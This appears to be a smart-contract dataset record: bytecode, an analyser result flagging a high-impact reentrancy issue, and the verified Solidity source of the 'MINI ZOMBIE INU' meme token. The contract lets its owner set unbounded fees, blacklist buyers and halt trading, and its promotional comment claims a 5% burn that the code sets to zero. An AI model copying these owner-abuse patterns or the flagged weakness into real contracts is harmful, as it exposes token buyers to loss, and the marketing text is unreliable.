01b038216610d6f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610619565b60008111610dd15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610619565b6000546001600160a01b03848116911614801590610dfd57506000546001600160a01b03838116911614155b1561116057601654600160a01b900460ff16610e96576000546001600160a01b03848116911614610e965760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610619565b601754811115610ee85760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610619565b6001600160a01b03831660009081526011602052604090205460ff16158015610f2a57506001600160a01b03821660009081526011602052604090205460ff16155b610f825760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610619565b600854610f90906001611d9c565b4311158015610fac57506016546001600160a01b038481169116145b8015610fc657506015546001600160a01b03838116911614155b8015610fdb57506001600160a01b0382163014155b15611004576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b038381169116146110895760185481611026846107ec565b6110309190611d9c565b106110895760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610619565b6000611094306107ec565b6019546017549192508210159082106110ad5760175491505b8080156110c45750601654600160a81b900460ff16155b80156110de57506016546001600160a01b03868116911614155b80156110f35750601654600160b01b900460ff165b801561111857506001600160a01b03851660009081526005602052604090205460ff16155b801561113d57506001600160a01b03841660009081526005602052604090205460ff16155b1561115d5761114b826113aa565b47801561115b5761115b476112a1565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806111a257506001600160a01b03831660009081526005602052604090205460ff165b806111d457506016546001600160a01b038581169116148015906111d457506016546001600160a01b03848116911614155b156111e15750600061125b565b6016546001600160a01b03858116911614801561120c57506015546001600160a01b03848116911614155b1561121e57600954600d55600a54600e555b6016546001600160a01b03848116911614801561124957506015546001600160a01b03858116911614155b1561125b57600b54600d55600c54600e555b610a6684848484611533565b6000818484111561128b5760405162461bcd60e51b81526004016106199190611ca1565b5060006112988486611df5565b95945050505050565b6013546001600160a01b03166108fc6112bb836002611561565b6040518115909202916000818181858888f193505050501580156112e3573d6000803e3d6000fd5b506014546001600160a01b03166108fc6112fe836002611561565b6040518115909202916000818181858888f1935050505015801561068a573d6000803e3d6000fd5b600060065482111561138d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610619565b60006113976115a3565b90506113a38382611561565b9392505050565b6016805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113f2576113f2611e3d565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561144657600080fd5b505afa15801561145a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061147e9190611a28565b8160018151811061149157611491611e3d565b6001600160a01b0392831660209182029290920101526015546114b79130911684610b85565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906114f0908590600090869030904290600401611d2b565b600060405180830381600087803b15801561150a57600080fd5b505af115801561151e573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b80611540576115406115c6565b61154b8484846115f4565b80610a6657610a66600f54600d55601054600e55565b60006113a383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116eb565b60008060006115b0611719565b90925090506115bf8282611561565b9250505090565b600d541580156115d65750600e54155b156115dd57565b600d8054600f55600e805460105560009182905555565b6000806000806000806116068761175b565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061163890876117b8565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461166790866117fa565b6001600160a01b03891660009081526002602052604090205561168981611859565b61169384836118a3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116d891815260200190565b60405180910390a3505050505050505050565b6000818361170c5760405162461bcd60e51b81526004016106199190611ca1565b5060006112988486611db4565b6006546000908190683635c9adc5dea000006117358282611561565b82101561175257505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006117788a600d54600e546118c7565b92509250925060006117886115a3565b9050600080600061179b8e87878761191c565b919e509c509a509598509396509194505050505091939550919395565b60006113a383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611267565b6000806118078385611d9c565b9050838110156113a35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610619565b60006118636115a3565b90506000611871838361196c565b3060009081526002602052604090205490915061188e90826117fa565b30600090815260026020526040902055505050565b6006546118b090836117b8565b6006556007546118c090826117fa565b6007555050565b60008080806118e160646118db898961196c565b90611561565b905060006118f460646118db8a8961196c565b9050600061190c826119068b866117b8565b906117b8565b9992985090965090945050505050565b600080808061192b888661196c565b90506000611939888761196c565b90506000611947888861196c565b905060006119598261190686866117b8565b939b939a50919850919650505050505050565b60008261197b5750600061069f565b60006119878385611dd6565b9050826119948583611db4565b146113a35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610619565b80356119f681611e69565b919050565b803580151581146119f657600080fd5b600060208284031215611a1d57600080fd5b81356113a381611e69565b600060208284031215611a3a57600080fd5b81516113a381611e69565b60008060408385031215611a5857600080fd5b8235611a6381611e69565b91506020830135611a7381611e69565b809150509250929050565b600080600060608486031215611a9357600080fd5b8335611a9e81611e69565b92506020840135611aae81611e69565b929592945050506040919091013590565b60008060408385031215611ad257600080fd5b8235611add81611e69565b946020939093013593505050565b600080600060408486031215611b0057600080fd5b833567ffffffffffffffff80821115611b1857600080fd5b818601915086601f830112611b2c57600080fd5b813581811115611b3b57600080fd5b8760208260051b8501011115611b5057600080fd5b602092830195509350611b6691860190506119fb565b90509250925092565b60006020808385031215611b8257600080fd5b823567ffffffffffffffff80821115611b9a57600080fd5b818501915085601f830112611bae57600080fd5b813581811115611bc057611bc0611e53565b8060051b604051601f19603f83011681018181108582111715611be557611be5611e53565b604052828152858101935084860182860187018a1015611c0457600080fd5b600095505b83861015611c2e57611c1a816119eb565b855260019590950194938601938601611c09565b5098975050505050505050565b600060208284031215611c4d57600080fd5b6113a3826119fb565b600060208284031215611c6857600080fd5b5035919050565b60008060008060808587031215611c8557600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611cce57858101830151858201604001528201611cb2565b81811115611ce0576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d7b5784516001600160a01b031683529383019391830191600101611d56565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611daf57611daf611e27565b500190565b600082611dd157634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611df057611df0611e27565b500290565b600082821015611e0757611e07611e27565b500390565b6000600019821415611e2057611e20611e27565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107e957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d37e855021056bd715dbfef678d135ff859fa15dd1bf7959b48865c85f2b449c64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
5,672
0x26ec2aa52df2dc38e630ac2ae96b98fd0beb26c0
/** *Submitted for verification at Etherscan.io on 2022-03-24 */ /* SPDX-License-Identifier: Unlicensed MiniZombie https://t.me/minizombieinu The appearance of a group of Minizombie is the worst case scenario of what is already a worst case scenario. Everytime MiniZombie appears, they appear as a chainswarm. There is no precise number of zombies that comprises a chainswarm. One cannot tell where the boundary of the group ends - it stretches past the horizon, or the immediate field of view. Without a well prepared platoon of organized veteran fighters. There simply is no way for survivors to defeat this MiniZombie army. With the enormous number of MiniZombie, there is no guarantee you're not surrounded, thus your only option is to JOIN the Minizombie army! MiniZombie token is dedicated to present you a deflationary experience! This token is designed with a deflationary mechanism, 5% of our token will be automatically burned to ensure the stability and prospect of the token. We believe that this token will grow exponentially like how zombies grow rapidly. MiniZombie is going to be the deadliest and viral token you have ever seen! https://t.me/minizombieinu */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract MINIZOMBIE is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "MINI ZOMBIE INU"; string private constant _symbol = "MINIZOMBIE"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e9 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; mapping(address => bool) private _isSniper; uint256 public launchTime; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 10; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 10; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _burnFee = 0; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; uint256 private _previousburnFee = _burnFee; address payable private _marketingAddress = payable(0x6f8954F7c7Fdd97e2900C7c5A5Cd05c22E4cd59A); address public constant deadAddress = 0x000000000000000000000000000000000000dEaD; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 2e7 * 10**9; uint256 public _maxWalletSize = 2e7 * 10**9; uint256 public _swapTokensAtAmount = 1002 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[deadAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function createPair() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _previousburnFee = _burnFee; _redisFee = 0; _taxFee = 0; _burnFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; _burnFee = _previousburnFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isSniper[to], 'Stop sniping!'); require(!_isSniper[from], 'Stop sniping!'); require(!_isSniper[_msgSender()], 'Stop sniping!'); if (from != owner() && to != owner()) { if (!tradingOpen) { revert("Trading not yet enabled!"); } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); } } if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { uint256 burntAmount = 0; if (_burnFee > 0) { burntAmount = contractTokenBalance.mul(_burnFee).div(10**2); burnTokens(burntAmount); } swapTokensForEth(contractTokenBalance - burntAmount); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _buyMap[to] = block.timestamp; _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; if (block.timestamp == launchTime) { _isSniper[to] = true; } } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function burnTokens(uint256 burntAmount) private { _transfer(address(this), deadAddress, burntAmount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchTime = block.timestamp; } function setMarketingWallet(address marketingAddress) external { require(_msgSender() == _marketingAddress); _marketingAddress = payable(marketingAddress); _isExcludedFromFee[_marketingAddress] = true; } function manualswap(uint256 amount) external { require(_msgSender() == _marketingAddress); require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount"); swapTokensForEth(amount); } function addSniper(address[] memory snipers) external onlyOwner { for(uint256 i= 0; i< snipers.length; i++){ _isSniper[snipers[i]] = true; } } function removeSniper(address sniper) external onlyOwner { if (_isSniper[sniper]) { _isSniper[sniper] = false; } } function isSniper(address sniper) external view returns (bool){ return _isSniper[sniper]; } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner { require(maxWalletSize >= _maxWalletSize); _maxWalletSize = maxWalletSize; } function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner { _taxFeeOnBuy = amountBuy; _taxFeeOnSell = amountSell; } function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner { _redisFeeOnBuy = amountRefBuy; _redisFeeOnSell = amountRefSell; } function setBurnFee(uint256 amount) external onlyOwner { _burnFee = amount; } }
0x6080604052600436106101f25760003560e01c80636fc3eaec1161010d5780638f70ccf7116100a0578063a9059cbb1161006f578063a9059cbb146105aa578063c5528490146105ca578063dd62ed3e146105ea578063ea1644d514610630578063f2fde38b1461065057600080fd5b80638f70ccf71461052c5780638f9a55c01461054c57806395d89b41146105625780639e78fb4f1461059557600080fd5b8063790ca413116100dc578063790ca413146104c25780637d1db4a5146104d8578063881dce60146104ee5780638da5cb5b1461050e57600080fd5b80636fc3eaec1461045857806370a082311461046d578063715018a61461048d57806374010ece146104a257600080fd5b80632fd689e31161018557806349bd5a5e1161015457806349bd5a5e146103d85780634bf2c7c9146103f85780635d098b38146104185780636d8aa8f81461043857600080fd5b80632fd689e314610366578063313ce5671461037c57806333251a0b1461039857806338eea22d146103b857600080fd5b806318160ddd116101c157806318160ddd146102e957806323b872dd1461030e57806327c8f8351461032e57806328bb665a1461034457600080fd5b806306fdde03146101fe578063095ea7b3146102485780630f3a325f146102785780631694505e146102b157600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b5060408051808201909152600f81526e4d494e49205a4f4d42494520494e5560881b60208201525b60405161023f9190611caa565b60405180910390f35b34801561025457600080fd5b50610268610263366004611d24565b610670565b604051901515815260200161023f565b34801561028457600080fd5b50610268610293366004611d50565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102bd57600080fd5b506016546102d1906001600160a01b031681565b6040516001600160a01b03909116815260200161023f565b3480156102f557600080fd5b50670de0b6b3a76400005b60405190815260200161023f565b34801561031a57600080fd5b50610268610329366004611d6d565b610687565b34801561033a57600080fd5b506102d161dead81565b34801561035057600080fd5b5061036461035f366004611dc4565b6106f0565b005b34801561037257600080fd5b50610300601a5481565b34801561038857600080fd5b506040516009815260200161023f565b3480156103a457600080fd5b506103646103b3366004611d50565b61078f565b3480156103c457600080fd5b506103646103d3366004611e89565b6107fe565b3480156103e457600080fd5b506017546102d1906001600160a01b031681565b34801561040457600080fd5b50610364610413366004611eab565b610833565b34801561042457600080fd5b50610364610433366004611d50565b610862565b34801561044457600080fd5b50610364610453366004611ec4565b6108bc565b34801561046457600080fd5b50610364610904565b34801561047957600080fd5b50610300610488366004611d50565b61092e565b34801561049957600080fd5b50610364610950565b3480156104ae57600080fd5b506103646104bd366004611eab565b6109c4565b3480156104ce57600080fd5b50610300600a5481565b3480156104e457600080fd5b5061030060185481565b3480156104fa57600080fd5b50610364610509366004611eab565b6109f3565b34801561051a57600080fd5b506000546001600160a01b03166102d1565b34801561053857600080fd5b50610364610547366004611ec4565b610a6f565b34801561055857600080fd5b5061030060195481565b34801561056e57600080fd5b5060408051808201909152600a8152694d494e495a4f4d42494560b01b6020820152610232565b3480156105a157600080fd5b50610364610abb565b3480156105b657600080fd5b506102686105c5366004611d24565b610c73565b3480156105d657600080fd5b506103646105e5366004611e89565b610c80565b3480156105f657600080fd5b50610300610605366004611ee6565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561063c57600080fd5b5061036461064b366004611eab565b610cb5565b34801561065c57600080fd5b5061036461066b366004611d50565b610cf3565b600061067d338484610ddd565b5060015b92915050565b6000610694848484610f01565b6106e684336106e1856040518060600160405280602881526020016120bf602891396001600160a01b038a166000908152600560209081526040808320338452909152902054919061155b565b610ddd565b5060019392505050565b6000546001600160a01b031633146107235760405162461bcd60e51b815260040161071a90611f1f565b60405180910390fd5b60005b815181101561078b5760016009600084848151811061074757610747611f54565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061078381611f80565b915050610726565b5050565b6000546001600160a01b031633146107b95760405162461bcd60e51b815260040161071a90611f1f565b6001600160a01b03811660009081526009602052604090205460ff16156107fb576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108285760405162461bcd60e51b815260040161071a90611f1f565b600b91909155600d55565b6000546001600160a01b0316331461085d5760405162461bcd60e51b815260040161071a90611f1f565b601155565b6015546001600160a01b0316336001600160a01b03161461088257600080fd5b601580546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146108e65760405162461bcd60e51b815260040161071a90611f1f565b60178054911515600160b01b0260ff60b01b19909216919091179055565b6015546001600160a01b0316336001600160a01b03161461092457600080fd5b476107fb81611595565b6001600160a01b038116600090815260026020526040812054610681906115cf565b6000546001600160a01b0316331461097a5760405162461bcd60e51b815260040161071a90611f1f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109ee5760405162461bcd60e51b815260040161071a90611f1f565b601855565b6015546001600160a01b0316336001600160a01b031614610a1357600080fd5b610a1c3061092e565b8111158015610a2b5750600081115b610a665760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b604482015260640161071a565b6107fb81611653565b6000546001600160a01b03163314610a995760405162461bcd60e51b815260040161071a90611f1f565b60178054911515600160a01b0260ff60a01b1990921691909117905542600a55565b6000546001600160a01b03163314610ae55760405162461bcd60e51b815260040161071a90611f1f565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610b4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6e9190611f99565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bbb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bdf9190611f99565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610c2c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c509190611f99565b601780546001600160a01b0319166001600160a01b039290921691909117905550565b600061067d338484610f01565b6000546001600160a01b03163314610caa5760405162461bcd60e51b815260040161071a90611f1f565b600c91909155600e55565b6000546001600160a01b03163314610cdf5760405162461bcd60e51b815260040161071a90611f1f565b601954811015610cee57600080fd5b601955565b6000546001600160a01b03163314610d1d5760405162461bcd60e51b815260040161071a90611f1f565b6001600160a01b038116610d825760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161071a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610e3f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161071a565b6001600160a01b038216610ea05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161071a565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f655760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161071a565b6001600160a01b038216610fc75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161071a565b600081116110295760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161071a565b6001600160a01b03821660009081526009602052604090205460ff16156110625760405162461bcd60e51b815260040161071a90611fb6565b6001600160a01b03831660009081526009602052604090205460ff161561109b5760405162461bcd60e51b815260040161071a90611fb6565b3360009081526009602052604090205460ff16156110cb5760405162461bcd60e51b815260040161071a90611fb6565b6000546001600160a01b038481169116148015906110f757506000546001600160a01b03838116911614155b1561140557601754600160a01b900460ff166111555760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c6564210000000000000000604482015260640161071a565b6017546001600160a01b03838116911614801561118057506016546001600160a01b03848116911614155b15611232576001600160a01b03821630148015906111a757506001600160a01b0383163014155b80156111c157506015546001600160a01b03838116911614155b80156111db57506015546001600160a01b03848116911614155b15611232576018548111156112325760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161071a565b6017546001600160a01b0383811691161480159061125e57506015546001600160a01b03838116911614155b801561127357506001600160a01b0382163014155b801561128a57506001600160a01b03821661dead14155b156112ff576019548161129c8461092e565b6112a69190611fdd565b106112ff5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161071a565b600061130a3061092e565b601a5490915081118080156113295750601754600160a81b900460ff16155b801561134357506017546001600160a01b03868116911614155b80156113585750601754600160b01b900460ff165b801561137d57506001600160a01b03851660009081526006602052604090205460ff16155b80156113a257506001600160a01b0384166000908